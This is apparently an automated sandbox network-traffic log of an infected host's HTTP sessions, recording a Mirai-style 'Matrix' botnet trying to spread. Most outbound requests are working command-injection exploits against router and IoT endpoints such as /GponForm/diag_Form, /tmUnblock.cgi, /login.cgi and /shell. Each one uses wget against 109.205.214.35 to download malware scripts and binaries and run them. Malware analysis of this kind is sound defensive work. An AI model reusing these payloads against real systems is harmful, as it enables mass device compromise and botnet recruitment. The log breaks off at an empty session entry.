Mar 21, 2024 05:18:54.936971903 CET	238	IN	Data Raw: 32 63 30 20 36 2e 39 38 20 31 2e 37 36 20 31 34 2e 34 39 20 35 2e 32 37 20 31 39 2e 35 39 20 33 2e 32 36 20 34 2e 38 33 20 31 30 2e 30 33 20 31 31 20 32 31 2e 38 32 20 31 31 20 31 31 2e 35 34 20 30 20 32 30 2e 33 31 2d 35 2e 39 20 32 35 2e 33 33 Data Ascii: 2c0 6.98 1.76 14.49 5.27 19.59 3.26 4.83 10.03 11 21.82 11 11.54 0 20.31-5.9 25.33-15.3h28.83z"></path></svg> </div> </a> </div> </footer> </body></html>10
Mar 21, 2024 05:18:55.301103115 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:54 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 37 66 37 66 37 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #f7f7f7; color: #808080; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #808080; } .status-code { font-size: 500%; } .status-reason {

Session ID	Source IP	Source Port	Destination IP	Destination Port
1364	192.168.2.13	47448	207.58.144.85	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.535139084 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:56.083836079 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:56.727844000 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:56.825392008 CET	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:18:56 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1365	192.168.2.13	56552	212.1.208.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.549287081 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:55.668004990 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Thu, 21 Mar 2024 04:18:55 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1366	192.168.2.13	51348	172.67.131.115	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.567768097 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:55.851010084 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1367	192.168.2.13	37402	128.116.156.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.834585905 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:59.891885042 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1368	192.168.2.13	37558	172.65.79.216	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.958237886 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1369	192.168.2.13	51730	172.66.153.177	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.958276033 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:56.630992889 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:57.396575928 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1370	192.168.2.13	38870	2.111.24.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999476910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1371	192.168.2.13	52250	118.109.228.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999490976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1372	192.168.2.13	57158	109.204.109.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999516010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1373	192.168.2.13	55388	5.127.204.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999561071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1374	192.168.2.13	36904	94.178.104.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999562979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1375	192.168.2.13	36354	5.232.237.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999679089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1376	192.168.2.13	52446	94.88.48.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999711037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1377	192.168.2.13	50434	37.193.118.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999711037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1378	192.168.2.13	54984	212.33.95.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999828100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1379	192.168.2.13	34796	212.23.1.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:55.999893904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1380	192.168.2.13	42648	213.95.183.213	80

Timestamp	Bytes transferred	Direction	Data
